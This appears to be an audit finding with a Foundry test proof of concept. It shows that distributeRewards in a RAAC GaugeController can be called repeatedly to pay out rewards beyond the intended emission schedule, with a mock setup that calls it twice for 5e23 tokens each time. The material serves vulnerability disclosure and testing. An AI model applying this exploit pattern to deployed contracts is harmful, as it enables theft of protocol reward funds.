An attacker with a malicous guage will call this function repeatedly to distribute all reward from the controller beyond the intended emission schedule.
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "contracts/core/governance/gauges/GaugeController.sol";
import "contracts/core/governance/gauges/RWAGauge.sol";
import "contracts/core/governance/gauges/RAACGauge.sol";
import "contracts/mocks/core/tokens/MockToken.sol";
contract GaugeControllerTest is Test {
event RewardDistributed(address indexed gauge, address indexed user, uint256 amount);
GaugeController public gaugeController;
RWAGauge public rwaGauge;
RAACGauge public raacGauge;
MockToken public stakingToken;
MockToken public rewardToken;
MockToken public veRAACToken;
address owner = address(1);
address gaugeAdmin = address(2);
address emergencyAdmin = address(3);
address feeAdmin = address(4);
address user1 = address(5);
address user2 = address(6);
uint256 constant MONTH = 30 days;
uint256 constant WEEK = 7 days;
uint256 constant WEIGHT_PRECISION = 10000;
function setUp() public {
veRAACToken = new MockToken("veRAAC Token", "veRAAC", 18);
rewardToken = new MockToken("Reward Token", "REWARD", 18);
stakingToken = new MockToken("Reward Token", "REWARD", 18);
gaugeController = new GaugeController(address(veRAACToken));
rwaGauge = new RWAGauge(
address(rewardToken),
address(stakingToken),
address(gaugeController)
);
raacGauge = new RAACGauge(
address(rewardToken),
address(stakingToken),
address(gaugeController)
);
bytes32 GAUGE_ADMIN_ROLE = gaugeController.GAUGE_ADMIN();
bytes32 EMERGENCY_ADMIN_ROLE = gaugeController.EMERGENCY_ADMIN();
bytes32 FEE_ADMIN_ROLE = gaugeController.FEE_ADMIN();
gaugeController.grantRole(GAUGE_ADMIN_ROLE, gaugeAdmin);
gaugeController.grantRole(EMERGENCY_ADMIN_ROLE, emergencyAdmin);
gaugeController.grantRole(FEE_ADMIN_ROLE, feeAdmin);
vm.prank(gaugeAdmin);
gaugeController.addGauge(address(rwaGauge), IGaugeController.GaugeType.RWA, 0);
vm.prank(gaugeAdmin);
gaugeController.addGauge(address(raacGauge), IGaugeController.GaugeType.RAAC, 0);
rwaGauge.grantRole(rwaGauge.CONTROLLER_ROLE(), owner);
raacGauge.grantRole(raacGauge.CONTROLLER_ROLE(), owner);
}
function test_POC() public {
veRAACToken.mint(user1, 1 ether);
rewardToken.mint(address(rwaGauge), 1000000 ether);
vm.prank(user1);
gaugeController.vote(address(rwaGauge), 5000);
vm.warp(((block.timestamp / MONTH) + 1) * MONTH);
vm.startPrank(user1);
vm.expectEmit(true, true, true, true);
emit RewardDistributed(address(rwaGauge), user1, 5e23);
gaugeController.distributeRewards(address(rwaGauge));
vm.expectEmit(true, true, true, true);
emit RewardDistributed(address(rwaGauge), user1, 5e23);
gaugeController.distributeRewards(address(rwaGauge));
vm.stopPrank();
}
}